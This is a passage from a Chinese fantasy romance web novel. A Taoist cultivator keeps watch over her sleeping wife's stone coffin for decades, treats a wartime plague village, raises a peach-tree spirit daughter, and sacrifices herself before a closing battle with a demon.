青松覆雪,整座山都笼罩在沉寂无声中,树枝被积雪压断的声音惊醒了傅清微。 她深夜披了外袍匆匆出门,来到棺材前,自己也不知道出来做什么,只是茫然地在雪中立了会儿。 摸在石棺上的手冻得通红。 一个人躺在屋里发了一天的烧,醒了起来熬药给自己喝。 第一缕绿意在院墙绽开时,傅清微开始到院子里打坐,将自己修炼得到的一部分日月精华注入石棺,滋养沉睡的穆若水。 她割开自己的手腕给阵石喂血,鲜红的血液沿着石棺爬上去,被里面吸收。 傅清微眼前发黑,忙用祝由术止住血包扎伤口。 开春后,傅清微再次下山。 秋收冬藏,好像她们俩的前二十年,即使下山的身影只剩下一道,更将长长久久地孤独下去。 这一趟她出去了足足一年。 “管锥死了。”傅清微坐在棺材前说,“死在洛阳,我和清净派的道长们一起给她收的尸,送她回了家。” “死有所值吧,大家都会有那么一天,可惜没能见到她最后一面。” 傅清微低下了头,眼前的地面土壤洇出几滴深色。 “如果我说什么时候轮到我,你会不会觉得我太软弱?” 石棺毫无回应,一缕清风从对面吹过来,刚好拂动傅清微的发丝。 傅清微握着那缕风,就像握住她的手贴在自己脸上。 “我知道你不想我死,放心,我不会求死的,除非天要收我走。” 那也算是解脱。 这句话她没有对穆若水说出口。 1941年,天地钱庄郝道长去世,牺牲在洞庭。傅清微认识的故交一个接一个死去,能认出她的人也越来越少了,穆若水的名号逐渐盖过了曾经的第一代观主姬湛雪。 1942年,饥饿之魔。 1943年,瘟疫之魔。 傅清微来到瘟疫村,所谓瘟疫村,是所有得了瘟疫的百姓被驱逐过来集中的一个村子。说是隔离,没有医生没有药,其实就是自生自灭。 战事紧张,没有医疗资源管这些平民百姓,何况都是些村民,被圈起来等死。 傅清微被戴着口罩的军警礼貌地拦下来,说:“道长,前方是疫病区,不能进。” “我知道。” 傅清微指了指自己身上的医药箱,道:“我就是大夫,特意来救人的。” “进去了就不能出来了。” “我知道。” 入口的军警互视一眼,沉默给她放行。 “道长保重。” 傅清微一步也没有回头地踏入了瘟疫村。 这些年傅清微已经见过了太多人间惨状,轰炸、战争、妖魔,上一秒还好好的人下一秒就被空投的炸弹炸得血肉分离。瘟疫村是另一种形式的炼狱。 房屋有限,大多数人都躺在地上,好一点的在板车和干草上,破衣烂衫,有的皮肤已经溃烂,面色如出一辙地病气沉沉,呻吟声不断。 空气里的气味被傅清微的口罩隔绝了大部分。 他们基本已经放弃了生的希望,一味躺着等死,连路口走过来一个道士都只投去一眼便作罢,继续用哀鸣来纾解痛苦。 傅清微的腿忽然被抱住。 是一个不到她腰高的小女孩,小女孩哽着哭咽道:“救救我妈妈。” 傅清微温柔地问:“你妈妈在哪里?” 小女孩指着不远处地上的草席,躺着一个年轻妇人,傅清微走过去半蹲下来,见她颧骨发红,似是高烧不退。 她扬声问:“哪里可以煎药?” 板车上一个人撑着半坐起来,喘气说:“我知道。下一个……能救我吗?” 其他躺在地上的人也哀声道:“救救我吧……救救我们……” “我会尽我的一切救治你们。” “现在,请让我去煎药好吗?咱们一个一个来。” 傅清微煎了一副麻黄汤给妇人服下,妇人的症状轻,身体也强健,没过多久药效便发挥作用,退了烧人也醒了。 傅清微暂时落脚的屋子外被人围满了。 “救苦救难观世音……救救我们……”村民痛哭流涕。 被放弃的人因为傅清微的到来有了主心骨,那些本来没感染或程度轻的主动帮忙消毒、煎药,分片区隔离治疗,傅清微点燃了苍术焚烧,指挥大家用雄黄酒擦拭皮肤。 药物短缺,傅清微远远地和军警交涉,给出清单,让军警去汇报上级。 西药磺胺珍稀,常见中药并不贵,几百条无辜人命,上峰不全是无动于衷之辈。傅清微一边和军警交涉,一边自己进附近山里采药,青蒿的汁水也可以退热。 整个村子里里外外地动起来,汤药一碗一碗地端出来,第七天,傅清微在屋里挨个把脉望闻,突然咳嗽了一声。 “真人,没事吧?”第一个被她救治的年轻妇人关切地问道。 “没事。”傅清微笑道,“不用叫我真人,我姓穆。” “穆道长,你出汗了,脸也有点红。” “屋里有点闷。” 傅清微走出室内,探手摸向自己发热的额头,大脑也微微地晕眩。 她大概是感染了。 傅清微从容不迫给自己熬了一副黄连解毒汤。第十三天夜里,她躺着睡不着觉,喉咙里的痒意要冲出来,侧身背向窗户连声咳嗽。 “穆道长,你还好吗?”屋外有人走过来问。 “我没事,咳咳。” 傅清微坐了起来,手绢掩着唇边,咳出一口黑色的血。 她攥紧了手绢在掌心,重新躺下,早晨按时起来。 第二十天,傅清微的手臂出现紫色的瘢痕,皮肤一按下去一个小坑,她放下袖子遮好,忍着酸痛的身体出了门。 除却那些重症不治的,年老抵抗力差的还在观察,中轻症基本痊愈了。 第二十二天,傅清微进了山。 刚打算蹲下来挖一株药草,她眼前一黑,忽然之间天旋地转。 身体沿着山上的斜坡往下滚,大大小小的碎石滚过她的周身,不知多久后背重重撞到了树干,彻底失去了意识。 袖子在滚落的过程里上滑,小臂和手肘露在外面,青色溃烂的皮肤暴露在阳光下。 傅清微双目紧闭,面如白纸,神情在此刻却突然变得安详,好像暌违终于梦寐以求的死亡。 ……我来找你了。 她长久地安睡着。 山林多暴雨,豆大的雨点打下来,浇在她的脸颊全身,雷声在天边响动,黄色的雨水从斜坡上方冲下来。 暴雨过后,森林里有食腐动物出来,细细密密的足肢爬过女人的身体,来到她手臂溃烂的伤口,啃食着腐肉。 她的脸被打落的叶子盖了一半,仿佛与雨水土壤融为一体。 “穆道长!穆道长——” “她在这里!快!” “把人背下山!” “救人啊——” 傅清微昏睡了两天两夜,高烧不断,一直有人在轮流照顾她,喂她喝药,她本想看清那人的样貌,总归不会是她想见的那个人,干脆将脸扭到一边,始终闭着眼睛。 在村民的照顾下,傅清微终于醒了。 众人欢天喜地,眼泪汪汪,探望的门槛都要踏破,傅清微躺在床上,也冲大家笑了笑。 瘟疫村解除以后,傅清微回到了蓬莱。 院子里的桃花开了。 桃花瓣纷纷扬扬地飘在道观上方,落在刚进门的青袍女人肩头。 傅清微眼睛里慢慢噙上泪水,数年如一日对着中央的石棺说:“我回来了。” “这次去得有些久,你有没有怪我?” “我先去换身衣服,待会就来陪你。” 傅清微和穆若水说完话,走到那棵桃树下,手掌贴着她青褐色的树干,说:“你长得好快啊。” 桃树不语,清风摇动它的花瓣。 一眨眼姬湛雪已经走了六年了。 她和师尊分开的第二十五年。 人间后事悲前事,镜里今年老去年。 傅清微摸着自己眼角长出的纹路,重新戴上了面具。 时光飞逝。 1953年,更名为灵管局的天机阁总部选址完毕,飞鸽传书给她,邀请已经是特别顾问的傅清微给灵管局设置阵法结界。插一句题外话,灵管局这个名字讨论时还是傅清微提出来的。 当世阵法造诣第一的傅清微欣然应允。 她下山后,灵管局的汽车就等在路口,小干事穿着中山装,跳起来招手说:“穆顾问,这里。” 脸戴傩面的白发女人走过来,青袍广袖,气度温和,因为一代宗师的名头让小干事不敢多将视线放到在她脸上,而是自然落在她腰间悬着的黄玉。 “穆顾问,请。”小干事打开后车门。 傅清微坐上了汽车,踏上了前世她最熟悉的一条路。 她一开始买了车不熟悉开,带着师尊慢吞吞地走这条路,穆若水也不介意,一边听歌一边看风景。 那都是多久以前的事啦? 马上要到第二个十六年了。 小汽车停在灵管局光秃秃的大楼门前,没有缺了一颗制服纽扣的保安大爷,灵管局的人暂时也没有大范围搬过来,得等她布置好结界。 但还是有不少人特意来迎接她。 几位副局长和主任都在,给她接风洗尘。傅清微没什么尘要洗,也不想浪费时间,拒绝了豪华的宴席,原地开会。 灵管局被迫打了场穷酸的仗,此时的灵管局第一任主任仍不放弃收她入编,让她坐最后一席副局长的位置。 傅清微道:“闲云野鹤,实难奉从。” 主任磨破了嘴皮子,傅清微轻轻将水杯搁下,面具后的眼睛淡淡地望向她。 主任:“好的穆顾问。” 灵管局有钱有储备,傅清微的阵法材料都是狮子大开口,她要布一个举世无双的阵法。灵管局巴不得,越珍稀越好,越贵越好,有求必应。 三个月后,傅清微布阵到了最后一步,她身处阵眼,咬破指尖挤出一滴鲜血,留下了一道自己的气息。 傅清微扭头对着身后的相思剑说:“来日我会让你破这个阵,记得我的气息就是阵眼。” 相思在剑鞘里清鸣了一声。 记住了,主人。 傅清微眼眶微湿:“好相思。” 她知道它记住了。 傅清微交出了一份满分试卷,灵管局给她开庆功宴,傅清微在宴席开始前就消失了,只留下一张字条。 1953年冬,傅清微回到蓬莱,开启整座后山的结界,切断一切信息,不再与外界保持联络。 灵管局从此失去了她的踪迹。 ——穆顾问行踪不定,大部分时间在蓬莱隐居,不问世事,偶尔出现在人间都是降妖伏魔的大事。 十年后。 庚申夜。 傅清微盘腿在道观的后院打坐,仰头望着月光中淡淡流动的精华,蕴含着非同寻常的灵气。 十年前她夜观天象,推衍得出十年后的庚申夜将会有一场帝流浆。 所以她等到今日,准时出现在这里,为的就是这场帝流浆。 月华倾泻人间,傅清微立刻施展术法,周身清气萦绕,月光里隐隐约约的白色灵气大半被她轻柔地牵引过来,一半注入石棺,一半涌向了旁边的桃树。 石棺原先总是血红的光,如今被帝流浆环绕,散发出银白的柔和光芒。 一壁之隔的石棺中,沉睡的穆若水眉目舒展,双手交叠搭在小腹,安详地躺在里面。 而庭院的桃树从树干到枝叶都笼罩在光芒里,一直等到这场帝流浆结束,才散去白光。 傅清微以人力强引帝流浆,脸色惨白,昏迷倒在了地上。 翌日她从地上醒来,面前的桃树招摇着枝叶,仿佛和从前一样并无区别。 傅清微已瞧出端倪。 她淡道:“璇玑?” 桃树飘落几片花瓣,化作一个四五岁穿着粉色襦裙的女孩,对她叩拜下来。 “璇玑见过娘亲。” 第159章 璇玑? 龙璇玑接受了傅清微给她取的名字, 跪下来向她叩拜。 “璇玑见过娘亲。” 龙璇玑第一次从树变成人,有点社恐。 其实她昨晚就化形了,好奇地盯着昏迷的傅清微看了半晚上, 娘亲长得真好看。 她本来想扶她起来, 人小没力气, 又不会使用妖力,使尽吃帝流浆的力气, 也没能托起她一星半点。 干脆变回树装死。 不知道娘亲有没有发现, 希望她没有。龙璇玑低头咬着自己的唇。 “起来吧。”傅清微的声音温和疏冷。 “谢谢娘亲。” 龙璇玑手脚并用地一骨碌爬了起来,手短脚短的, 可可爱爱, 悄悄用黑葡萄大眼睛打量站着的傅清微。 她的娘亲却无意理会她的孺慕之心。 傅清微按了按眉心,额头的热度隐隐约约漫上来。 “我有些累了,先回房休息, 你自己玩会儿, 不要碰中间的棺材。” “好的,娘亲。”璇玑不懂人类母女如何相处,一棵树也体会不到敏感的心绪。 傅清微回姬湛雪的屋子躺下, 她原先那间已不怎么住人,平日都歇在对面。 未进门前,龙璇玑便摇身一变,成了一棵在风里招摇遍地开花的桃树。 比起做人, 当然还是当树更自在。 傅清微:“……” 孩子小,随她去吧。 以傅清微现在的修为, 即使吹了一夜冷风生病, 她也可以靠内息自己调理,不必任由自己在床上发烧一整天。 傅清微没有做任何应对, 面色潮红,在房间烧得迷迷糊糊。 一个四五岁的身影走了进来,端着一碗药放在床沿,用勺子喂她喝药。 “小雪……” “娘亲,你给我改名字了吗?” 入口的并非汤药,而是清水。 因为龙璇玑根本不会熬。 “……”傅清微喝了清水,龙璇玑扒着床沿看她,“娘亲,你生病了吗?” “没有。”傅清微将身体的热度压了下去,她已经很久不和小孩子相处了,问,“你要不要吃点什么?” “有什么吃?” “我去给你做。” 厨房里。 龙璇玑吃着她做的菜,面如菜色。 当人就吃这种东西啊?她不要做人了。 “味道怎么样?” “还……可以。” 傅清微久违地牵起一个浅淡的笑,即使很快被苦涩盖过。 “你是妖,可以不吃人做的饭。” “真的吗?太好啦。” “……” 果然是妖,一点不通人性。 傅清微牵起她的手走出了厨房。 她在院子里打坐,龙璇玑跟着她打坐。坐累了就站了会儿,站累了躺会儿,实在不行还能变回树,一只妖自得其乐。 夜里她就长回院子里,因为傅清微会靠在她身上睡觉,有时会喝酒。 璇玑在她上面问:“娘亲,我可以喝酒吗?” 傅清微:“不行,二十岁才可以喝酒。” 龙璇玑:“可是我今年有……二十五岁了。” 也是姬湛雪死后的第二十五年。 傅清微望着中央的石棺,沉默无言,往桃树下倒了一些酒。 湿润的桃花瓣从空中飘落,淋了她一头一脸。 “这个酒好苦啊。”龙璇玑想:一口下去涩得她想哭。 “娘亲,你都不觉得苦吗?” “娘亲习惯了。” 龙璇玑不理解,她再也不要喝酒了。 傅清微靠在桃树下自斟自饮,直到脑袋枕着树干沉沉睡去,龙璇玑一动不动,悄悄地给她盖花瓣被子。 呼的一阵风将她盖在娘亲身上的桃花吹走了。 风可真坏呀。 虽然娘亲话不多,和她说的话更不如对棺材说得多,但龙璇玑很喜欢娘亲,娘亲身上香香的,娘亲的白发很漂亮,连每条皱纹都漂亮。 傅清微教她怎么使用妖力,龙璇玑只会下桃花雨。 娘亲开心的时候给她下,难过的时候也给她下,什么都没发生也下。 傅清微每天早上起来到院子里扫花瓣,变回人的龙璇玑两手托着下巴问她:“娘亲,我是不是一只很奇怪的妖呢?” 傅清微说:“你是一只很珍贵的妖。” 呼啦啦多了一地桃花。 龙璇玑:听不懂但是超开心。 傅清微:“……偶尔也要克制一下,比如我在扫地的时候你就不要下了。” 龙璇玑扑过来抱住她的腿,仰起脸亮晶晶:“好的娘亲!” 桃花零落成泥,又泽被万物。 傅清微身后多了一个新的跟屁虫,去打猎跟着,去菜地也跟着,围着她“娘亲,娘亲”地转,很黏她,只是绝口不吃她做的饭。 和她未苏醒的师娘一个模样。 半年后。 春日,本就明媚的小桃花下得更加张扬了。 桃花花瓣自蓬莱观清净的上空飘落,眷恋地擦过脸颊,停留在女人的肩头。 龙璇玑陪着傅清微坐在门槛,背后是九条锁链封印的冰冷石棺。 “娘亲,你为什么一直待在这里?” “因为娘亲在等一个人。” “你在等谁?” “等我的妻子。” 傅清微抬手将肩上桃花拂在手心,别到四五岁粉色襦裙女孩的发间,话语轻顿,望着她温柔道:“我与清净派的掌教有旧,即日我便送你去清净派拜师修行。” 龙璇玑的脸色变了:“为什么?” 傅清微轻轻摸了摸她的脑袋,未置一言。 虽然有龙璇玑在蓬莱,道观里多了一丝热闹和人气,但傅清微已经习惯只有她和师尊的蓬莱。 她也没有精力再去和一个人相处了。 她不想有人打扰她们俩的平静生活,即使穆若水永远不会回应她。 只要她在自己心里就好。 龙璇玑水汪汪的黑葡萄大眼睛雾气弥漫,道:“我想留下来陪伴娘亲,没有我,娘亲会很孤独的。” 傅清微拭去她眼角的湿润。 她还这么小,就知道什么是孤独了。 是自己这个娘亲不称职。 她不该和她留在沉寂的蓬莱,她要做一棵茁壮的桃树,扎根在更好的土壤。 傅清微的拒绝也像温柔的笔触,拇指轻轻抚了抚她的脸,出口的话坚定果决:“走吧,我们现在下山。” 龙璇玑跪在她的面前,含泪磕了一个头。 离开蓬莱那日,龙璇玑最后一次回头,院子里下了一场桃花雨,飘落满地湿润的桃花。 傅清微对她有愧,彼时铁路四通八达,清净派一两日就能到,这样的分别未免太残忍。所以她没有选择乘坐任何交通工具,而是牵着她的手,一脚一脚地带她丈量壮丽河山,阅遍人间风景。 江河湖海,名山大川,森林小溪,也会暂时落脚热闹的城市,补给加上给孩子买零食。 龙璇玑接过来吃了一口,惊为天人。 原来不是所有的人类食物都和娘亲做的一样难吃啊! 日月更替,潮起潮落。 暴雨时找山洞避雨,点燃篝火,用衣袖帮她擦干脸上的水珠。 龙璇玑是妖,淋了雨也不会生病感冒,她在篝火前烤着火,两手伏在傅清微的膝头,仰起脸望她,听娘亲讲过去的故事。 “这样的路,娘亲也和你师娘一起走过。” “师娘?” “就是娘亲的妻子。” …… 两人走了整整大半年,到了洛阳近郊。 傅清微多年前送管锥回家时来过一趟,熟门熟路地叩开了清净派的山门。 小弟子:“你是?” 傅清微:“蓬莱,道号慈让,速去通禀。” 龙璇玑奇怪地看着戴上面具的娘亲。 清净派的掌教手持马尾拂尘,三步并作两步地小跑亲自来迎:“晚辈见过慈让真人。” 傅清微与管锥同辈,管锥如果没死今年也有快七十岁了,现任掌教是管锥的师侄,自称一句“晚辈”,傅清微还是担得起的。何况当年清净派被魔族围困险些全军覆没,是傅清微及时赶到出手相救,清净派欠她一个天大的恩情。 傅清微:“上次见你还是在洛阳城内,长这么大了。” 掌教汗流浃背:“是的,真人,我都有皱纹了。” “……” 傅清微自己也意识长辈的寒暄未免太有压力,遂摒弃无谓的客套,直抒来意:“我有一个女儿,想让她在清净派修炼,你能否为她寻一位好师尊。” 掌教看着她牵着的小女孩,若有所思。 傅清微直言:“是桃树妖。” 掌教捋着自己的拂尘:“原来如此,我派丹道与妖丹修炼异曲同工,真人若是不弃,晚辈可以亲自教她。” “如此甚好。” “真人客气了,能帮上忙是晚辈的荣幸。”掌教又看了看精致可爱的璇玑,越看越喜欢,道,“晚辈正好想收个关门弟子,真人就送上门来了,哈哈。” “……” “晚辈僭越了。”掌教再次汗流浃背。 “无妨。” 傅清微看出她真的喜欢璇玑,那再好不过。 清净派的宫殿里,龙璇玑被掌教带着懵懂拜过了祖师,又行了拜师仪式。 龙璇玑从蒲团外站起来,下意识走到一旁的傅清微身边,挨着她。 傅清微领着她走到了掌教面前,面对面站着。 掌教从傅清微手里牵过她小小的手。 “我一定会好好照顾她的,请真人放心。”掌教弯腰揉了揉她的脑袋,温柔地道,“叫师父。” 璇玑听话地喊:“师父。” 黑亮的眼睛瞧着对面的傅清微。 傅清微不再看她,对掌教说了句:“那就拜托你了。” 傅清微视线才转过来,柔声说:“娘亲走啦,你要保重。” 龙璇玑歪了歪脑袋。 什么是保重?好好吃饭保持重量吗? 下一刻,掌教牵着她的手站在山门,和她并肩目送女人离开的背影。 龙璇玑忽然理解了她的意思。 “娘亲——” 她甩开师尊的手,从高高的山门跑了下来,踩着台阶上满地的湿润桃花。 一路追到了傅清微的跟前。 傅清微停下脚步,看着她的脸摘了面具,长长的白发垂落及腰。 面前的粉色襦裙女孩哭得梨花带雨,问她:“我还能再见到娘亲吗?” 傅清微半蹲下来,两手擦去她满脸的泪水,温柔地说:“会见面的。” “什么时候?”璇玑哽咽着问。 “我等到她的那一天,我们就会再相见。” “我会陪娘亲一起等。” “我知道。” 傅清微说:“娘亲的璇玑最乖了,不要哭。” “嗯。”龙璇玑含着泪点头。 女人离开的路上依旧落满了桃花花瓣,只是不再是湿润的,一直到山路的尽头。 她一步也没有回头。 * 离开清净派以后,傅清微原路返回蓬莱。 途中察觉了魔物的踪迹,遂改道去追。步入和平年代后,地底通道虽被关闭,仍有不少漏网之鱼流窜在人间,玄门经历战乱那十几年,损失惨重,修士锐减,灵管局元气大伤,也在休养生息,难免有力有不逮之处。 但她们就像电视剧里的桥段,出现得刚刚好。 这头傅清微刚一剑解决了魔物,那头几个明显灵管局的人赶到,其中一位小领导有眼力见,一见她的面具和玉佩,还有她没来得及收回去的相思剑。 一层冰雪正在空气里慢慢消散。 “穆顾问!”小领导带着众虾米跑过来,兴奋道,“见过慈让真人。” 神龙见首不见尾,总算让她们逮到了,这下回局里可以吹牛了。 傅清微:“……” 烦死了。 又要和人打交道。 灵管局的人话还多,非得盛情邀请她吃饭不可。 她还要赶回山见师尊。 傅清微默了默,问:“你们是谁?” 灵管局众人抬头:“啊?” “我们是灵管局的啊,灵异事件调查和管理局,我是调查四处的……” 傅清微打断:“不认识。” 头也不回地走了。 留下灵管局众人目瞪口呆,面面相觑。 蝴蝶不经意间又扇动了一次翅膀。 傅清微坐上回蓬莱的火车,回过神忽然心想:或许她失忆传闻的源头就是从这一天开始的。 ——每一次会面,穆顾问都像第一次见灵管局的人一样,问她们是谁。 看似失忆,实则社恐。 她转念一想:装失忆没什么不好的,省得每一次都要和灵管局的人寒暄。 再说师尊醒来后不也失忆了么?就当自己提前为她做好铺垫吧,免得灵管局的人生疑。 1964年的火车已经比1935年的快了不少,傅清微一个人坐在靠窗的座位,路过车窗外的风景,长久地独自出神。 “我回来了。” 傅清微抬脚踏入道观后院门槛。 梳洗更衣之后,傅清微搬椅子坐到了她的固定位置。 “我送璇玑去了清净派,清净派很大,条件也很好,通水通电的。我还看了她的宿舍,和你的房间差不多大,掌教也很喜欢她,我很放心。” “虽然有人陪我很好,但我更想陪着你。” “这样挺好的,不是吗?” 傅清微絮絮叨叨地把灵管局的事也说了,包括一路的见闻插曲,人间天翻地覆的变化,说到天黑也没说完。 “哎,我的话好多啊。” “你也听累了吧,那我明天再和你说。” 一缕清风回荡在一棺之隔的二人中间。 傅清微的手扶在她的石棺上,倾身下来,对着她脑袋枕着的方向温柔轻声地道了一句:“晚安,明天见。” 一如多年前。 * 后来傅清微又陆续遇到过几次灵管局的人,失忆大法屡试不爽,省去她许多嘴皮子工夫。 一句“你们是谁”打发全世界。 1980年代,世间基本太平,仅存的几只魔物也在灵管局和傅清微的围追堵截中陷入死局。 傅清微戴着斗篷和面具,相思剑从她背后出鞘,人不动,剑已化作千千万万把,剑阵的白光将魔物笼罩其中,威力堪比天雷。 白光消散,魔物倾灭,连一缕烟都没剩下。 刚准备出手的灵管局众人:“?” 因为此次绞杀最后的魔族“兹事体大”,灵管局出动了当时的主任,打斗时完全没派上用场的主任半点不气馁,对着“失忆”的穆顾问穷追猛打地要签名。 此时娱乐产业萌芽,最早的追星族已经出现。 傅清微心想:原来岁已寒说的就是你,慈让真人的迷妹。 签名是不可能签的,傅清微不会留下任何属于她自己的痕迹。 她非常刻意地“随口”道:“最近似乎有将活人炼成僵尸的邪术重现天日,你们要多留意。” 这一笔会被她记在手札里,成为历史,直到岁已寒发掘。 主任星星眼:“好的,穆顾问,要不我们合个影?” 傅清微:“走了。” 这是她最后一次在灵管局面前露面。 世间既已太平,慈让真人就没有出现的必要了,除了一件事。 1999年,她救了邱月白。 傅清微时隔十几年再次下山,她不清楚邱月白的爱人是何时去世,邱月白又是何时施展复生禁术,只能提前下山,去她的寨子周围等待。 此等禁术一旦施展,天地灵力必会有异动,只要她离得不是太远,就能第一时间察觉。 一日,她在民宿外晒太阳,仰头瞧见远处山顶重云汇聚,盘旋成漩涡状,白色的灵力在其中翻滚,有人在请神了,还不是一般的神。 傅清微抬眼望了望乌云的方向,回屋换上斗篷,取了面具扣上,朝山脚走去。 风雨欲来。 山脚的村民疾步匆匆地赶回家收衣服,关好门窗。 傅清微逆着人流往山上走。 雨已经下起来了,有村民打开门和她说话,招手让她进屋躲雨,傅清微充耳不闻,身影没入雨雾的山林。 惊雷不断地劈在山顶,暴雨下了一天一夜,鼓声也响了一天一夜。 傅清微站在远处的山林里,瞧着邱月白的身影踉跄倒在了朱红鼓面上。 崖边站着成百上千的阴魂,个个面色阴狠,待邱月白无力之际一拥而上,争抢吞噬她的魂魄。 邱月白闭上了眼睛。 傅清微下一秒闪现在了邱月白面前,衣袖一抬,一道金光轻易击碎了所有的阴魂。 她伸手抱起躺在雨里的邱月白。 “折枝……”邱月白闻见她身上的返魂香味道,昏迷前仍抓着她的衣袖。 傅清微默默将她送下了山,安置在她家中,借她的厨房熬药。 “折枝!折枝——咳咳咳。”邱月白又惊又喜的声音在屋里响起来。 傅清微站在门外,心里暗叹了一口气。 一只修长如玉的手撩开门口珠帘,戴着面具的女人走进来,傅清微手里端着一碗熬好的汤药。 “先把药喝了。” “你是谁?”邱月白的脸色在见到她后骤然变得惨白,她不是折枝,她的折枝呢? “我姓穆,叫穆若水。” “穆顾问?”邱月白终于将注意力放在了她的面具和玉佩上。 傅清微谨记失忆人设不崩,没有回答她。 傅清微一只手将她扶起来靠在自己身上,把晾凉的汤药送至她唇边,温和道:“喝药吧,会好起来的。” 一切都会好起来的。 这一年,是姬湛雪死后的第六十一年。 她和师尊分开的第八十一年。 邱月白的寨子地势高,离月亮很近,傅清微喜欢夜晚坐在院子里看月亮,取下遮掩的兜帽,月光镀满她满头及腰的白发。 春未绿,鬓先丝,人间别久不成悲。 …… 七日后,邱月白在她的医治下可以下地了,傅清微从镇上回来,给她带了何记的灌汤包,没有留下一言半语,只身消失在寨中。 傅清微抚着院子里的石棺,脸颊紧紧地贴着冰冷的棺盖,泪如雨下。 “我想你了。” 她以为她对世间的离别早已看淡,八十年过去,没有什么是时间不能抹平的。 可是药不在时间里,思念会一直伴随她的余生。 “我不会再离开你了,若水。” “我会永远地陪着你。” 此后三十年,傅清微再未踏出蓬莱一步。 * 2029年9月20日。 一次性传送法阵开启,将命中注定的人带到了蓬莱。 庭院里枯坐的白发女人低垂的头颅动了动,站起来慢慢走过去,打开了封印多年的石棺。 她的手推着棺盖往后移,一张令她朝思暮想的脸出现在了她的眼前。 女人的外表停留在二十三四岁的年纪,身披鹤氅,仙风道骨,里面穿着一身红衣道袍,像极了庄重的喜服。 白发女人颤抖着伸出手去,捧住了对方冰冷的脸颊,指腹抚过她过分精致的眉眼。 若水。 我的若水。 白发女人解下自己腰间的黄玉轻柔放进了她的掌心,红线串着的佛珠戴在她的左手腕。 红线会很痛,但是炼尸之后的人会不顾一切地杀戮,傅清微不想她沦为杀戮的机器,也为了人间不添杀孽,只能用自己的血给她下了禁制。 ——不可杀人。 白发女人吻了吻她的额头,小心地屏住呼吸,没有让自己的气息进入棺材里。 活人的一口生气,即可令她从长久的睡梦中苏醒。 若水。 我的若水。 白发女人摸着她的脸和长发,贪恋地望着她,眼睫一眨不眨,噙满了泪水。 叩叩叩—— 古铜古色的铜拉环磕在木门上。 “请问有人吗?”二十岁的傅清微在门外问道。 白发女人想多和她的妻子待一会儿,没有及时回应她。 她收回落在妻子长发上的手,指尖移到了她的眉心。 古法记载,以此法炼出来的人前尘尽忘,师尊会忘记有关姬湛雪和傅清微在百年前的一切,以防万一,傅清微仍然封印了她们之间过往的记忆。 白发女人闭了闭眼,淡淡的金光从她的指尖涌出,侵入了女人的眉心。 沉睡的穆若水一无所觉。 一切都完成后,白发女人指节曲了曲,最后一次抚过了妻子的脸。 “……你来了。”她对着门外的人叹息说道。 吱呀—— 木门自里开了一条缝隙。 二十岁的傅清微推开了门扉,一张金色符箓从门后飘落。 符纸困住的天地风云变色。 她抬眼看进了庭院中黑洞洞的石棺,僵立在原地,想转身向外逃。 已经消散在空气里的傅清微化作一缕清风,托着她如提线木偶向石棺走去,她眼眸睁圆,紧接着整个人翻身跌进去。 “救——唔!” 棺材盖咚的一声合上了。 傅清微最后留恋地望了一眼紧闭的石棺,彻底湮灭在天地之间。 我们终将重逢。 第160章 2030年。 灵管局。 “折枝”侧身避开身后追过来的两道风刃, 速度因为躲闪的动作放缓,狂风在她面前平地涌起,大大阻住了她的脚步。 她化作黑雾, 结果被风卷入, 不得已只能重新变回人形落下来。 神明附体的邱月白拦在她面前, 白色的瞳孔冰冷无情,双手抬袖一拢, 原地卷起风暴。 四面八方的狂风将她困在中间, 一时难以逃脱。 “折枝”皱了皱眉。 请神上身的人是没办法主宰自己身体的,只遵循最后的一道意志, 她这张脸对邱月白没用了。 虽然邱月白看起来不想杀她, 只是困住她。 却也是个麻烦。 更麻烦的还在后面。 待“折枝”终于突破邱月白的封锁,一掌朝对方肩头打去时,一道符箓迅雷之势袭了过来, 惊天动地的雷暴声在耳边响起。 要不是她躲得快, 符箓就在她手上炸开了。 岁已寒和穆若水相继赶到。 三人站位呈三角形将她包围在中间,灵管局的小虾米们还在赶来的路上。 “折枝”:“……” 想不到一个小小的傅清微,竟给她惹上这么大的麻烦! “折枝”在阵法中受的伤再次隐隐作痛, 一身漆黑斗篷只剩下一半,一向强势的黑雾对她的伤口只能缓慢修复。 穆若水向她走近一步:“她人呢?” 迎着白发红眼女人质问的视线,“折枝”也不免生出烦躁,道:“我说我没有杀她, 你信吗?” 旁人她都不放在眼里,灵管局所有人加一块也拦不住她, 除了穆若水。 穆若水只问:“她人呢?” 她仍抱着一丝微小的希望, 万一……万一傅清微被她隐秘地藏起来了,只要她知道傅清微的下落, 一切都好说。 骗骗她也好。 “折枝”沉浸在被傅清微暗算的恼怒中,回道:“我怎么知道?!” 她没把那句“死在阵法里了死得好!”说出口,已是她最后的理智。 话一出口,她便知糟了。 脚下站着的地面晃动。 穆若水忽然纵声长唳,她本已非人类,红线之下压抑本性,又有傅清微日日陪伴她,性情愈发温和,骤然遭此巨大变故,竟是激发了她炼尸后所有的凶性。 这一声里痛苦、悲愤、仇恨、怨憎,种种负面情绪交织,苦不堪言,令人心酸不已。 百年等待,相聚一载,终成泡影。 岁已寒和邱月白双手捂住了自己的耳朵,面露痛苦之色。 紧接着赶来的灵管局众人包括龙璇玑扑通跪倒在地,紧紧地堵着双耳。 可声音仍旧往里钻,穿破耳膜,唇边竟溢出鲜血。 方圆数里地震都没有震碎的窗户全部从中间爆开,应声而裂。 幸好人已提前疏散。 “折枝”情不自禁地后退一步。 穆若水仰着的头落下来,过膝的白发又长了一尺,白发及踝,眼眸血红,似是泡在了两缸鲜血里。 她血瞳冰冷地注视着面色微变的“折枝”。 “我今日必杀你,为我妻子报仇。” “你听我……” “折枝”情知糟糕,想办法拖延,穆若水已听不进她的话,率先发难! 她一双利手已是天下无双的神兵,“折枝”和她棋逢对手,然而心态上首先落入了下乘,甫一交手,竟然被她捉住黑雾,两手从中间一撕,狠狠地撕碎! “折枝”在阵法里受了伤,否则不会被邱月白拦住,再被击中真身,登时痛得闷哼了声。 可她毕竟是当世唯一真正的魔族,从乱世蛰伏至今,所有的魔气为她所用,不管她受了多重的伤,不死不灭。 看来今日一定要和她一分高下了。 是她这个炼尸出来的“魔”强,还是自己更胜一筹。 “折枝”微微一笑,身上被撕下的魔气很快补上,完好如初。穆若水再度和她交上了手,一道魔气狠狠贯穿她的心脏,空荡得毫无反应。 “折枝”大笑三声:“好!好!好!” 既生瑜何生亮。 穆若水面无表情地五指如电划过她的胸前,穿透翻滚的魔气一把捏住她人类身躯的心脏,面前的斗篷女人彭的散作一团黑雾,消失在空气中。 穆若水迅速回身出掌,和出现在她背后的斗篷女人对上一掌,全力之下,离得最近的一栋建筑被夷为平地。 二人皆在空中,一拳一掌,有着惊雷之威。 